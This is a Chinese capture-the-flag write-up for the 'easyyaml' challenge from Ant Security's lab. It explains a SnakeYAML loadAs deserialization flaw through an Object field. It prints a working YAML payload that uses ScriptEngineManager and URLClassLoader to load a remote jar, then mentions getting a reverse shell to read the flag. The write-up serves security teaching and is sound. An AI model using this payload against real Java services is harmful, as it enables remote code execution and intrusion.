赛题 · 解析
easyyaml
题目来源:
蚂蚁安全非攻实验室
考察知识点:
yaml.loadAs在目标类被指定的情况下的反序列化RCE
第一步
打开题目显示500
下载代码进行代码审计
第二步
解题过程
无论是从考察的知识点还是题目源码来说,这道题都对得起题目中的easy这个词,就考察了一个知识点,也没有加干扰项或者添加其他阻碍。这道题主要考察了yaml.loadAs在指定被反序列化类的利用:
Controller代码:
Yaml yaml = new Yaml();
User user= yaml.loadAs(request.getParameter("user"),qUser.class);
左右滑动查看完整代码
这道题的预期解是利用User类中存在Object对象,可以反序列化任意类,从而导致命令执行:
Address类:
public class Address {
public String postCode;
public String street;
public Object ext;
public boolean isValid;
}
左右滑动查看完整代码
因此,只需要构造如下yaml,即可导致RCE:
!!com.ctf.velocity.Bean.User
address: {ext: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http:// /yaml-payload.jar"]]]], isValid: false, postCode: dfs, street: null}
age: null
group: 0
isLogin: false
priviledges: null
username: null
左右滑动查看完整代码
反弹shell运行tmp下的flag得到flag
蚂蚁安全非攻实验室
蚂蚁安全非攻实验室是蚂蚁九大安全实验室之一,致力于JAVA通用基础技术和产品的安全研究,为支付宝金融级基础设施(如:蚂蚁云原生或中间件)提供强大安全保障,助力提升行业安全水位。
自成立以来,实验室获得多项行业领先研究成果,曾在国内顶级破解大赛--天府杯上攻破多个项目,并联合蚂蚁光年实验室获得原创漏洞演示赛最高额奖金,也曾多次获得来自Apache、Oracle、IBM等国际大厂的安全致谢。
原文始发于微信公众号(蚂蚁安全响应中心):蚂蚁安全非攻实验室 | 赛题easyyaml writeup
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论